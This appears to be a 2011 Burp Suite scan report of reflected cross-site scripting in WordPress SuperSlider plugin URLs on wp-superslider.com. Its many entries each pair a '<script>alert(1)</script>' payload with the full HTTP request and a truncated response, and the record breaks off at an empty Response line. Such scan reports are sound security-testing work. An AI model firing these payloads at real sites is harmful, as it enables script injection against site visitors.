The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34091"><script>alert(1)</script>09174c8f3b0 was submitted in the REST URL parameter 3. This input was echoed as 34091\"><script>alert(1)</script>09174c8f3b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins34091"><script>alert(1)</script>09174c8f3b0/superslider-postsincat/js/slideBox-v1.0.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:00 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674580+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674580; expires=Thu, 02-Feb-2012 19:23:00 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:00 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7da63"><script>alert(1)</script>ef4ebc3ad8b was submitted in the REST URL parameter 4. This input was echoed as 7da63\"><script>alert(1)</script>ef4ebc3ad8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat7da63"><script>alert(1)</script>ef4ebc3ad8b/js/slideBox-v1.0.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:02 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674582+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a778"><script>alert(1)</script>914349c7fa1 was submitted in the REST URL parameter 5. This input was echoed as 3a778\"><script>alert(1)</script>914349c7fa1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js3a778"><script>alert(1)</script>914349c7fa1/slideBox-v1.0.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674584+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674584; expires=Thu, 02-Feb-2012 19:23:04 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:04 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1dfd"><script>alert(1)</script>f981ff2d39 was submitted in the REST URL parameter 6. This input was echoed as e1dfd\"><script>alert(1)</script>f981ff2d39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/js/slideBox-v1.0.jse1dfd"><script>alert(1)</script>f981ff2d39 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:05 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674586; expires=Thu, 02-Feb-2012 19:23:06 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:06 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3acc0"><script>alert(1)</script>5fc51608de0 was submitted in the REST URL parameter 1. This input was echoed as 3acc0\"><script>alert(1)</script>5fc51608de0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site3acc0"><script>alert(1)</script>5fc51608de0/wp-content/plugins/superslider-postsincat/plugin-data/superslider/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:01 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674581+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674581; expires=Thu, 02-Feb-2012 19:23:01 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:01 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 574e5"><script>alert(1)</script>2452676616d was submitted in the REST URL parameter 2. This input was echoed as 574e5\"><script>alert(1)</script>2452676616d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content574e5"><script>alert(1)</script>2452676616d/plugins/superslider-postsincat/plugin-data/superslider/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:02 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674583+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674583; expires=Thu, 02-Feb-2012 19:23:03 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:03 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f714"><script>alert(1)</script>39a0a2ffe53 was submitted in the REST URL parameter 3. This input was echoed as 2f714\"><script>alert(1)</script>39a0a2ffe53 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins2f714"><script>alert(1)</script>39a0a2ffe53/superslider-postsincat/plugin-data/superslider/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:04 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674585+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674585; expires=Thu, 02-Feb-2012 19:23:05 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:05 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fda27"><script>alert(1)</script>618a4ef6632 was submitted in the REST URL parameter 4. This input was echoed as fda27\"><script>alert(1)</script>618a4ef6632 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincatfda27"><script>alert(1)</script>618a4ef6632/plugin-data/superslider/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:06 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674586+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674587; expires=Thu, 02-Feb-2012 19:23:07 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:07 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad888"><script>alert(1)</script>85bc6e4dd3f was submitted in the REST URL parameter 5. This input was echoed as ad888\"><script>alert(1)</script>85bc6e4dd3f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/plugin-dataad888"><script>alert(1)</script>85bc6e4dd3f/superslider/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:08 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674588+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674588; expires=Thu, 02-Feb-2012 19:23:08 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:08 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95bf9"><script>alert(1)</script>06d6b0fc251 was submitted in the REST URL parameter 6. This input was echoed as 95bf9\"><script>alert(1)</script>06d6b0fc251 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/plugin-data/superslider95bf9"><script>alert(1)</script>06d6b0fc251/ssPostinCat/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:09 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674590+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674590; expires=Thu, 02-Feb-2012 19:23:10 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:10 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a684e"><script>alert(1)</script>627dceec1f5 was submitted in the REST URL parameter 7. This input was echoed as a684e\"><script>alert(1)</script>627dceec1f5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/plugin-data/superslider/ssPostinCata684e"><script>alert(1)</script>627dceec1f5/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:11 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674591+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674591; expires=Thu, 02-Feb-2012 19:23:11 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:11 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fcaf"><script>alert(1)</script>da9e0f185c2 was submitted in the REST URL parameter 8. This input was echoed as 2fcaf\"><script>alert(1)</script>da9e0f185c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/plugin-data/superslider/ssPostinCat/default2fcaf"><script>alert(1)</script>da9e0f185c2/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:12 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674592+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674592; expires=Thu, 02-Feb-2012 19:23:12 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:12 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89b32"><script>alert(1)</script>7331cbe4720 was submitted in the REST URL parameter 9. This input was echoed as 89b32\"><script>alert(1)</script>7331cbe4720 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-postsincat/plugin-data/superslider/ssPostinCat/default/default.css89b32"><script>alert(1)</script>7331cbe4720 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:13 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674594+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674594; expires=Thu, 02-Feb-2012 19:23:14 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5448d"><script>alert(1)</script>cc9ed16c3fe was submitted in the REST URL parameter 1. This input was echoed as 5448d\"><script>alert(1)</script>cc9ed16c3fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site5448d"><script>alert(1)</script>cc9ed16c3fe/wp-content/plugins/superslider-show/js/lightbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:46 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674567+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674567; expires=Thu, 02-Feb-2012 19:22:47 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:47 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d297"><script>alert(1)</script>6e88aecf5d was submitted in the REST URL parameter 2. This input was echoed as 5d297\"><script>alert(1)</script>6e88aecf5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content5d297"><script>alert(1)</script>6e88aecf5d/plugins/superslider-show/js/lightbox.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
